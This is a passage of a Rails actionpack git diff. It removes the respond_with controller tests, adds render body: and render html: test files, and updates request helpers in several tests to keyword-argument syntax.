+  def test_variant_negotiation_without_block
+    @request.variant = [:tablet, :phone]
+    get :variant_inline_syntax_without_block
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
 end
diff --git a/actionpack/test/controller/mime/respond_with_test.rb b/actionpack/test/controller/mime/respond_with_test.rb
deleted file mode 100644
index 76af9e3414..0000000000
--- a/actionpack/test/controller/mime/respond_with_test.rb
+++ /dev/null
@@ -1,699 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class RespondWithController < ActionController::Base
-  respond_to :html, :json, :touch
-  respond_to :xml, :except => :using_resource_with_block
-  respond_to :js,  :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ]
-
-  def using_resource
-    respond_with(resource)
-  end
-
-  def using_hash_resource
-    respond_with({:result => resource})
-  end
-
-  def using_resource_with_block
-    respond_with(resource) do |format|
-      format.csv { render :text => "CSV" }
-    end
-  end
-
-  def using_resource_with_overwrite_block
-    respond_with(resource) do |format|
-      format.html { render :text => "HTML" }
-    end
-  end
-
-  def using_resource_with_collection
-    respond_with([resource, Customer.new("jamis", 9)])
-  end
-
-  def using_resource_with_parent
-    respond_with(Quiz::Store.new("developer?", 11), Customer.new("david", 13))
-  end
-
-  def using_resource_with_status_and_location
-    respond_with(resource, :location => "http://test.host/", :status => :created)
-  end
-
-  def using_invalid_resource_with_template
-    respond_with(resource)
-  end
-
-  def using_options_with_template
-    @customer = resource
-    respond_with(@customer, :status => 123, :location => "http://test.host/")
-  end
-
-  def using_resource_with_responder
-    responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
-    respond_with(resource, :responder => responder)
-  end
-
-  def using_resource_with_action
-    respond_with(resource, :action => :foo) do |format|
-      format.html { raise ActionView::MissingTemplate.new([], "bar", ["foo"], {}, false) }
-    end
-  end
-
-  def using_responder_with_respond
-    responder = Class.new(ActionController::Responder) do
-      def respond; @controller.render :text => "respond #{format}"; end
-    end
-    respond_with(resource, :responder => responder)
-  end
-
-protected
-
-  def resource
-    Customer.new("david", request.delete? ? nil : 13)
-  end
-end
-
-class InheritedRespondWithController < RespondWithController
-  clear_respond_to
-  respond_to :xml, :json
-
-  def index
-    respond_with(resource) do |format|
-      format.json { render :text => "JSON" }
-    end
-  end
-end
-
-class RenderJsonRespondWithController < RespondWithController
-  clear_respond_to
-  respond_to :json
-
-  def index
-    respond_with(resource) do |format|
-      format.json { render :json => RenderJsonTestException.new('boom') }
-    end
-  end
-
-  def create
-    resource = ValidatedCustomer.new(params[:name], 1)
-    respond_with(resource) do |format|
-      format.json do
-        if resource.errors.empty?
-          render :json => { :valid => true }
-        else
-          render :json => { :valid => false }
-        end
-      end
-    end
-  end
-end
-
-class CsvRespondWithController < ActionController::Base
-  respond_to :csv
-
-  class RespondWithCsv
-    def to_csv
-      "c,s,v"
-    end
-  end
-
-  def index
-    respond_with(RespondWithCsv.new)
-  end
-end
-
-class EmptyRespondWithController < ActionController::Base
-  def index
-    respond_with(Customer.new("david", 13))
-  end
-end
-
-class RespondWithControllerTest < ActionController::TestCase
-  tests RespondWithController
-
-  def setup
-    super
-    @request.host = "www.example.com"
-    Mime::Type.register_alias('text/html', :iphone)
-    Mime::Type.register_alias('text/html', :touch)
-    Mime::Type.register('text/x-mobile', :mobile)
-  end
-
-  def teardown
-    super
-    Mime::Type.unregister(:iphone)
-    Mime::Type.unregister(:touch)
-    Mime::Type.unregister(:mobile)
-  end
-
-  def test_using_resource
-    @request.accept = "application/xml"
-    get :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<name>david</name>", @response.body
-
-    @request.accept = "application/json"
-    assert_raise ActionView::MissingTemplate do
-      get :using_resource
-    end
-  end
-
-  def test_using_resource_with_js_simply_tries_to_render_the_template
-    @request.accept = "text/javascript"
-    get :using_resource
-    assert_equal "text/javascript", @response.content_type
-    assert_equal "alert(\"Hi\");", @response.body
-  end
-
-  def test_using_hash_resource_with_js_raises_an_error_if_template_cant_be_found
-    @request.accept = "text/javascript"
-    assert_raise ActionView::MissingTemplate do
-      get :using_hash_resource
-    end
-  end
-
-  def test_using_hash_resource
-    @request.accept = "application/xml"
-    get :using_hash_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<hash>\n  <name>david</name>\n</hash>\n", @response.body
-
-    @request.accept = "application/json"
-    get :using_hash_resource
-    assert_equal "application/json", @response.content_type
-    assert @response.body.include?("result")
-    assert @response.body.include?('"name":"david"')
-    assert @response.body.include?('"id":13')
-  end
-
-  def test_using_hash_resource_with_post
-    @request.accept = "application/json"
-    assert_raise ArgumentError, "Nil location provided. Can't build URI." do
-      post :using_hash_resource
-    end
-  end
-
-  def test_using_resource_with_block
-    @request.accept = "*/*"
-    get :using_resource_with_block
-    assert_equal "text/html", @response.content_type
-    assert_equal 'Hello world!', @response.body
-
-    @request.accept = "text/csv"
-    get :using_resource_with_block
-    assert_equal "text/csv", @response.content_type
-    assert_equal "CSV", @response.body
-
-    @request.accept = "application/xml"
-    get :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<name>david</name>", @response.body
-  end
-
-  def test_using_resource_with_overwrite_block
-    get :using_resource_with_overwrite_block
-    assert_equal "text/html", @response.content_type
-    assert_equal "HTML", @response.body
-  end
-
-  def test_not_acceptable
-    @request.accept = "application/xml"
-    assert_raises(ActionController::UnknownFormat) do
-      get :using_resource_with_block
-    end
-
-    @request.accept = "text/javascript"
-    assert_raises(ActionController::UnknownFormat) do
-      get :using_resource_with_overwrite_block
-    end
-  end
-
-  def test_using_resource_for_post_with_html_redirects_on_success
-    with_test_route_set do
-      post :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers/13", @response.location
-      assert @response.redirect?
-    end
-  end
-
-  def test_using_resource_for_post_with_html_rerender_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "New world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_post_with_xml_yields_created_on_success
-    with_test_route_set do
-      @request.accept = "application/xml"
-      post :using_resource
-      assert_equal "application/xml", @response.content_type
-      assert_equal 201, @response.status
-      assert_equal "<name>david</name>", @response.body
-      assert_equal "http://www.example.com/customers/13", @response.location
-    end
-  end
-
-  def test_using_resource_for_post_with_xml_yields_unprocessable_entity_on_failure
-    with_test_route_set do
-      @request.accept = "application/xml"
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "application/xml", @response.content_type
-      assert_equal 422, @response.status
-      assert_equal errors.to_xml, @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure
-    with_test_route_set do
-      @request.accept = "application/json"
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "application/json", @response.content_type
-      assert_equal 422, @response.status
-      errors = {:errors => errors}
-      assert_equal errors.to_json, @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_patch_with_html_redirects_on_success
-    with_test_route_set do
-      patch :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers/13", @response.location
-      assert @response.redirect?
-    end
-  end
-
-  def test_using_resource_for_patch_with_html_rerender_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      patch :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_patch_with_html_rerender_on_failure_even_on_method_override
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      @request.env["rack.methodoverride.original_method"] = "POST"
-      patch :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_put_with_html_redirects_on_success
-    with_test_route_set do
-      put :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers/13", @response.location
-      assert @response.redirect?
-    end
-  end
-
-  def test_using_resource_for_put_with_html_rerender_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      put :using_resource
-
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_put_with_html_rerender_on_failure_even_on_method_override
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      @request.env["rack.methodoverride.original_method"] = "POST"
-      put :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 200, @response.status
-      assert_equal "Edit world!\n", @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_for_put_with_xml_yields_no_content_on_success
-    @request.accept = "application/xml"
-    put :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_put_with_json_yields_no_content_on_success
-    Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
-    @request.accept = "application/json"
-    put :using_resource
-    assert_equal "application/json", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure
-    @request.accept = "application/xml"
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-    put :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal 422, @response.status
-    assert_equal errors.to_xml, @response.body
-    assert_nil @response.location
-  end
-
-  def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure
-    @request.accept = "application/json"
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-    put :using_resource
-    assert_equal "application/json", @response.content_type
-    assert_equal 422, @response.status
-    errors = {:errors => errors}
-    assert_equal errors.to_json, @response.body
-    assert_nil @response.location
-  end
-
-  def test_using_resource_for_delete_with_html_redirects_on_success
-    with_test_route_set do
-      Customer.any_instance.stubs(:destroyed?).returns(true)
-      delete :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers", @response.location
-    end
-  end
-
-  def test_using_resource_for_delete_with_xml_yields_no_content_on_success
-    Customer.any_instance.stubs(:destroyed?).returns(true)
-    @request.accept = "application/xml"
-    delete :using_resource
-    assert_equal "application/xml", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_delete_with_json_yields_no_content_on_success
-    Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
-    Customer.any_instance.stubs(:destroyed?).returns(true)
-    @request.accept = "application/json"
-    delete :using_resource
-    assert_equal "application/json", @response.content_type
-    assert_equal 204, @response.status
-    assert_equal "", @response.body
-  end
-
-  def test_using_resource_for_delete_with_html_redirects_on_failure
-    with_test_route_set do
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      Customer.any_instance.stubs(:destroyed?).returns(false)
-      delete :using_resource
-      assert_equal "text/html", @response.content_type
-      assert_equal 302, @response.status
-      assert_equal "http://www.example.com/customers", @response.location
-    end
-  end
-
-  def test_using_resource_with_parent_for_get
-    @request.accept = "application/xml"
-    get :using_resource_with_parent
-    assert_equal "application/xml", @response.content_type
-    assert_equal 200, @response.status
-    assert_equal "<name>david</name>", @response.body
-  end
-
-  def test_using_resource_with_parent_for_post
-    with_test_route_set do
-      @request.accept = "application/xml"
-
-      post :using_resource_with_parent
-      assert_equal "application/xml", @response.content_type
-      assert_equal 201, @response.status
-      assert_equal "<name>david</name>", @response.body
-      assert_equal "http://www.example.com/quiz_stores/11/customers/13", @response.location
-
-      errors = { :name => :invalid }
-      Customer.any_instance.stubs(:errors).returns(errors)
-      post :using_resource
-      assert_equal "application/xml", @response.content_type
-      assert_equal 422, @response.status
-      assert_equal errors.to_xml, @response.body
-      assert_nil @response.location
-    end
-  end
-
-  def test_using_resource_with_collection
-    @request.accept = "application/xml"
-    get :using_resource_with_collection
-    assert_equal "application/xml", @response.content_type
-    assert_equal 200, @response.status
-    assert_match(/<name>david<\/name>/, @response.body)
-    assert_match(/<name>jamis<\/name>/, @response.body)
-  end
-
-  def test_using_resource_with_action
-    @controller.instance_eval do
-      def render(params={})
-        self.response_body = "#{params[:action]} - #{formats}"
-      end
-    end
-
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-
-    post :using_resource_with_action
-    assert_equal "foo - #{[:html].to_s}", @controller.response.body
-  end
-
-  def test_respond_as_responder_entry_point
-    @request.accept = "text/html"
-    get :using_responder_with_respond
-    assert_equal "respond html", @response.body
-
-    @request.accept = "application/xml"
-    get :using_responder_with_respond
-    assert_equal "respond xml", @response.body
-  end
-
-  def test_clear_respond_to
-    @controller = InheritedRespondWithController.new
-    @request.accept = "text/html"
-    assert_raises(ActionController::UnknownFormat) do
-      get :index
-    end
-  end
-
-  def test_first_in_respond_to_has_higher_priority
-    @controller = InheritedRespondWithController.new
-    @request.accept = "*/*"
-    get :index
-    assert_equal "application/xml", @response.content_type
-    assert_equal "<name>david</name>", @response.body
-  end
-
-  def test_block_inside_respond_with_is_rendered
-    @controller = InheritedRespondWithController.new
-    @request.accept = "application/json"
-    get :index
-    assert_equal "JSON", @response.body
-  end
-
-  def test_render_json_object_responds_to_str_still_produce_json
-    @controller = RenderJsonRespondWithController.new
-    @request.accept = "application/json"
-    get :index, :format => :json
-    assert_match(/"message":"boom"/, @response.body)
-    assert_match(/"error":"RenderJsonTestException"/, @response.body)
-  end
-
-  def test_api_response_with_valid_resource_respect_override_block
-    @controller = RenderJsonRespondWithController.new
-    post :create, :name => "sikachu", :format => :json
-    assert_equal '{"valid":true}', @response.body
-  end
-
-  def test_api_response_with_invalid_resource_respect_override_block
-    @controller = RenderJsonRespondWithController.new
-    post :create, :name => "david", :format => :json
-    assert_equal '{"valid":false}', @response.body
-  end
-
-  def test_no_double_render_is_raised
-    @request.accept = "text/html"
-    assert_raise ActionView::MissingTemplate do
-      get :using_resource
-    end
-  end
-
-  def test_using_resource_with_status_and_location
-    @request.accept = "text/html"
-    post :using_resource_with_status_and_location
-    assert @response.redirect?
-    assert_equal "http://test.host/", @response.location
-
-    @request.accept = "application/xml"
-    get :using_resource_with_status_and_location
-    assert_equal 201, @response.status
-  end
-
-  def test_using_resource_with_status_and_location_with_invalid_resource
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-
-    @request.accept = "text/xml"
-
-    post :using_resource_with_status_and_location
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-
-    put :using_resource_with_status_and_location
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-  end
-
-  def test_using_invalid_resource_with_template
-    errors = { :name => :invalid }
-    Customer.any_instance.stubs(:errors).returns(errors)
-
-    @request.accept = "text/xml"
-
-    post :using_invalid_resource_with_template
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-
-    put :using_invalid_resource_with_template
-    assert_equal errors.to_xml, @response.body
-    assert_equal 422, @response.status
-    assert_equal nil, @response.location
-  end
-
-  def test_using_options_with_template
-    @request.accept = "text/xml"
-
-    post :using_options_with_template
-    assert_equal "<customer-name>david</customer-name>", @response.body
-    assert_equal 123, @response.status
-    assert_equal "http://test.host/", @response.location
-
-    put :using_options_with_template
-    assert_equal "<customer-name>david</customer-name>", @response.body
-    assert_equal 123, @response.status
-    assert_equal "http://test.host/", @response.location
-  end
-
-  def test_using_resource_with_responder
-    get :using_resource_with_responder
-    assert_equal "Resource name is david", @response.body
-  end
-
-  def test_using_resource_with_set_responder
-    RespondWithController.responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
-    get :using_resource
-    assert_equal "Resource name is david", @response.body
-  ensure
-    RespondWithController.responder = ActionController::Responder
-  end
-
-  def test_uses_renderer_if_an_api_behavior
-    ActionController::Renderers.add :csv do |obj, options|
-      send_data obj.to_csv, type: Mime::CSV
-    end
-    @controller = CsvRespondWithController.new
-    get :index, format: 'csv'
-    assert_equal Mime::CSV, @response.content_type
-    assert_equal "c,s,v", @response.body
-  end
-
-  def test_raises_missing_renderer_if_an_api_behavior_with_no_renderer
-    @controller = CsvRespondWithController.new
-    assert_raise ActionController::MissingRenderer do
-      get :index, format: 'csv'
-    end
-  end
-
-  def test_error_is_raised_if_no_respond_to_is_declared_and_respond_with_is_called
-    @controller = EmptyRespondWithController.new
-    @request.accept = "*/*"
-    assert_raise RuntimeError do
-      get :index
-    end
-  end
-
-  private
-    def with_test_route_set
-      with_routing do |set|
-        set.draw do
-          resources :customers
-          resources :quiz_stores do
-            resources :customers
-          end
-          get ":controller/:action"
-        end
-        yield
-      end
-    end
-end
-
-class FlashResponder < ActionController::Responder
-  def initialize(controller, resources, options={})
-    super
-  end
-
-  def to_html
-    controller.flash[:notice] = 'Success'
-    super
-  end
-end
-
-class FlashResponderController < ActionController::Base
-  self.responder = FlashResponder
-  respond_to :html
-
-  def index
-    respond_with Object.new do |format|
-      format.html { render :text => 'HTML' }
-    end
-  end
-end
-
-class FlashResponderControllerTest < ActionController::TestCase
-  tests FlashResponderController
-
-  def test_respond_with_block_executed
-    get :index
-    assert_equal 'HTML', @response.body
-  end
-
-  def test_flash_responder_executed
-    get :index
-    assert_equal 'Success', flash[:notice]
-  end
-end
diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb
index 7396c850ad..710c428dcc 100644
--- a/actionpack/test/controller/new_base/bare_metal_test.rb
+++ b/actionpack/test/controller/new_base/bare_metal_test.rb
@@ -2,6 +2,8 @@ require "abstract_unit"
 
 module BareMetalTest
   class BareController < ActionController::Metal
+    include ActionController::RackDelegation
+
     def index
       self.response_body = "Hello world"
     end
@@ -29,6 +31,15 @@ module BareMetalTest
       controller.index
       assert_equal ["Hello world"], controller.response_body
     end
+
+    test "connect a request to controller instance without dispatch" do
+      env = {}
+      controller = BareController.new
+      controller.set_request! ActionDispatch::Request.new(env)
+      assert controller.request
+      assert controller.response
+      assert env['action_controller.instance']
+    end
   end
 
   class HeadController < ActionController::Metal
@@ -81,8 +92,8 @@ module BareMetalTest
       assert_nil headers['Content-Length']
     end
 
-    test "head :continue (101) does not return a content-type header" do
-      headers = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).second
+    test "head :switching_protocols (101) does not return a content-type header" do
+      headers = HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/")).second
       assert_nil headers['Content-Type']
       assert_nil headers['Content-Length']
     end
diff --git a/actionpack/test/controller/new_base/content_negotiation_test.rb b/actionpack/test/controller/new_base/content_negotiation_test.rb
index 5fd5946619..c8166280fc 100644
--- a/actionpack/test/controller/new_base/content_negotiation_test.rb
+++ b/actionpack/test/controller/new_base/content_negotiation_test.rb
@@ -15,12 +15,12 @@ module ContentNegotiation
 
   class TestContentNegotiation < Rack::TestCase
     test "A */* Accept header will return HTML" do
-      get "/content_negotiation/basic/hello", {}, "HTTP_ACCEPT" => "*/*"
+      get "/content_negotiation/basic/hello", headers: { "HTTP_ACCEPT" => "*/*" }
       assert_body "Hello world */*!"
     end
 
     test "Not all mimes are converted to symbol" do
-      get "/content_negotiation/basic/all", {}, "HTTP_ACCEPT" => "text/plain, mime/another"
+      get "/content_negotiation/basic/all", headers: { "HTTP_ACCEPT" => "text/plain, mime/another" }
       assert_body '[:text, "mime/another"]'
     end
   end
diff --git a/actionpack/test/controller/new_base/content_type_test.rb b/actionpack/test/controller/new_base/content_type_test.rb
index 9b57641e75..88453988dd 100644
--- a/actionpack/test/controller/new_base/content_type_test.rb
+++ b/actionpack/test/controller/new_base/content_type_test.rb
@@ -76,7 +76,7 @@ module ContentType
     end
 
     test "sets Content-Type as application/xml when rendering *.xml.erb" do
-      get "/content_type/implied/i_am_xml_erb", "format" => "xml"
+      get "/content_type/implied/i_am_xml_erb", params: { "format" => "xml" }
 
       assert_header "Content-Type", "application/xml; charset=utf-8"
     end
@@ -88,7 +88,7 @@ module ContentType
     end
 
     test "sets Content-Type as application/xml when rendering *.xml.builder" do
-      get "/content_type/implied/i_am_xml_builder", "format" => "xml"
+      get "/content_type/implied/i_am_xml_builder", params: { "format" => "xml" }
 
       assert_header "Content-Type", "application/xml; charset=utf-8"
     end
diff --git a/actionpack/test/controller/new_base/render_action_test.rb b/actionpack/test/controller/new_base/render_action_test.rb
index 475bf9d3c9..3bf1dd0ede 100644
--- a/actionpack/test/controller/new_base/render_action_test.rb
+++ b/actionpack/test/controller/new_base/render_action_test.rb
@@ -88,7 +88,7 @@ module RenderAction
 
     test "rendering with layout => true" do
       assert_raise(ArgumentError) do
-        get "/render_action/basic/hello_world_with_layout", {}, "action_dispatch.show_exceptions" => false
+        get "/render_action/basic/hello_world_with_layout", headers: { "action_dispatch.show_exceptions" => false }
       end
     end
 
@@ -108,7 +108,7 @@ module RenderAction
 
     test "rendering with layout => 'greetings'" do
       assert_raise(ActionView::MissingTemplate) do
-        get "/render_action/basic/hello_world_with_custom_layout", {}, "action_dispatch.show_exceptions" => false
+        get "/render_action/basic/hello_world_with_custom_layout", headers: { "action_dispatch.show_exceptions" => false }
       end
     end
   end
diff --git a/actionpack/test/controller/new_base/render_body_test.rb b/actionpack/test/controller/new_base/render_body_test.rb
new file mode 100644
index 0000000000..f4a3db8b41
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_body_test.rb
@@ -0,0 +1,170 @@
+require 'abstract_unit'
+
+module RenderBody
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render body: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render body: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render body: "hello david"
+    end
+
+    def custom_code
+      render body: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render body: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render body: nil
+    end
+
+    def with_nil_and_status
+      render body: nil, status: 403
+    end
+
+    def with_false
+      render body: false
+    end
+
+    def with_layout_true
+      render body: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render body: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render body: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render body: "hello world", layout: "greetings"
+    end
+
+    def with_custom_content_type
+      response.headers['Content-Type'] = 'application/json'
+      render body: '["troll","face"]'
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render body: "hello world", layout: "ivar"
+    end
+  end
+
+  class RenderBodyTest < Rack::TestCase
+    test "rendering body from a minimal controller" do
+      get "/render_body/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering body from an action with default options renders the body with the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_body/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering body from an action with default options renders the body without the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_body/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering body, while also providing a custom status code" do
+      get "/render_body/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
+    test "rendering body with nil returns an empty body" do
+      get "/render_body/with_layout/with_nil"
+
+      assert_body ""
+      assert_status 200
+    end
+
+    test "Rendering body with nil and custom status code returns an empty body and the status" do
+      get "/render_body/with_layout/with_nil_and_status"
+
+      assert_body ""
+      assert_status 403
+    end
+
+    test "rendering body with false returns the string 'false'" do
+      get "/render_body/with_layout/with_false"
+
+      assert_body "false"
+      assert_status 200
+    end
+
+    test "rendering body with layout: true" do
+      get "/render_body/with_layout/with_layout_true"
+
+      assert_body "hello world, I'm here!"
+      assert_status 200
+    end
+
+    test "rendering body with layout: 'greetings'" do
+      get "/render_body/with_layout/with_custom_layout"
+
+      assert_body "hello world, I wish thee well."
+      assert_status 200
+    end
+
+    test "specified content type should not be removed" do
+      get "/render_body/with_layout/with_custom_content_type"
+
+      assert_equal %w{ troll face }, JSON.parse(response.body)
+      assert_equal 'application/json', response.headers['Content-Type']
+    end
+
+    test "rendering body with layout: false" do
+      get "/render_body/with_layout/with_layout_false"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+
+    test "rendering body with layout: nil" do
+      get "/render_body/with_layout/with_layout_nil"
+
+      assert_body "hello world"
+      assert_status 200
+    end
+  end
+end
diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb
index a961cbf849..0c21bb0719 100644
--- a/actionpack/test/controller/new_base/render_file_test.rb
+++ b/actionpack/test/controller/new_base/render_file_test.rb
@@ -13,15 +13,6 @@ module RenderFile
       render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
     end
 
-    def without_file_key
-      render File.join(File.dirname(__FILE__), *%w[.. .. fixtures test hello_world])
-    end
-
-    def without_file_key_with_instance_variable
-      @secret = 'in the sauce'
-      render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
-    end
-
     def relative_path
       @secret = 'in the sauce'
       render :file => '../../fixtures/test/render_file_with_ivar'
@@ -41,11 +32,6 @@ module RenderFile
       path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals')
       render :file => path, :locals => {:secret => 'in the sauce'}
     end
-
-    def without_file_key_with_locals
-      path = FIXTURES.join('test/render_file_with_locals').to_s
-      render path, :locals => {:secret => 'in the sauce'}
-    end
   end
 
   class TestBasic < Rack::TestCase
@@ -61,16 +47,6 @@ module RenderFile
       assert_response "The secret is in the sauce\n"
     end
 
-    test "rendering path without specifying the :file key" do
-      get :without_file_key
-      assert_response "Hello world!"
-    end
-
-    test "rendering path without specifying the :file key with ivar" do
-      get :without_file_key_with_instance_variable
-      assert_response "The secret is in the sauce\n"
-    end
-
     test "rendering a relative path" do
       get :relative_path
       assert_response "The secret is in the sauce\n"
@@ -90,10 +66,5 @@ module RenderFile
       get :with_locals
       assert_response "The secret is in the sauce\n"
     end
-
-    test "rendering path without specifying the :file key with locals" do
-      get :without_file_key_with_locals
-      assert_response "The secret is in the sauce\n"
-    end
   end
 end
diff --git a/actionpack/test/controller/new_base/render_html_test.rb b/actionpack/test/controller/new_base/render_html_test.rb
new file mode 100644
index 0000000000..fe11501eeb
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_html_test.rb
@@ -0,0 +1,190 @@
+require 'abstract_unit'
+
+module RenderHtml
+  class MinimalController < ActionController::Metal
+    include AbstractController::Rendering
+    include ActionController::Rendering
+
+    def index
+      render html: "Hello World!"
+    end
+  end
+
+  class SimpleController < ActionController::Base
+    self.view_paths = [ActionView::FixtureResolver.new]
+
+    def index
+      render html: "hello david"
+    end
+  end
+
+  class WithLayoutController < ::ApplicationController
+    self.view_paths = [ActionView::FixtureResolver.new(
+      "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+      "layouts/greetings.html.erb"   => "<%= yield %>, I wish thee well.",
+      "layouts/ivar.html.erb"        => "<%= yield %>, <%= @ivar %>"
+    )]
+
+    def index
+      render html: "hello david"
+    end
+
+    def custom_code
+      render html: "hello world", status: 404
+    end
+
+    def with_custom_code_as_string
+      render html: "hello world", status: "404 Not Found"
+    end
+
+    def with_nil
+      render html: nil
+    end
+
+    def with_nil_and_status
+      render html: nil, status: 403
+    end
+
+    def with_false
+      render html: false
+    end
+
+    def with_layout_true
+      render html: "hello world", layout: true
+    end
+
+    def with_layout_false
+      render html: "hello world", layout: false
+    end
+
+    def with_layout_nil
+      render html: "hello world", layout: nil
+    end
+
+    def with_custom_layout
+      render html: "hello world", layout: "greetings"
+    end
+
+    def with_ivar_in_layout
+      @ivar = "hello world"
+      render html: "hello world", layout: "ivar"
+    end
+
+    def with_unsafe_html_tag
+      render html: "<p>hello world</p>", layout: nil
+    end
+
+    def with_safe_html_tag
+      render html: "<p>hello world</p>".html_safe, layout: nil
+    end
+  end
+
+  class RenderHtmlTest < Rack::TestCase
+    test "rendering text from a minimal controller" do
+      get "/render_html/minimal/index"
+      assert_body "Hello World!"
+      assert_status 200
+    end
+
+    test "rendering text from an action with default options renders the text with the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_html/simple"
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text from an action with default options renders the text without the layout" do
+      with_routing do |set|
+        set.draw { get ':controller', action: 'index' }
+
+        get "/render_html/with_layout"
+
+        assert_body "hello david"
+        assert_status 200
+      end
+    end
+
+    test "rendering text, while also providing a custom status code" do
+      get "/render_html/with_layout/custom_code"
+
+      assert_body "hello world"
+      assert_status 404
+    end
+
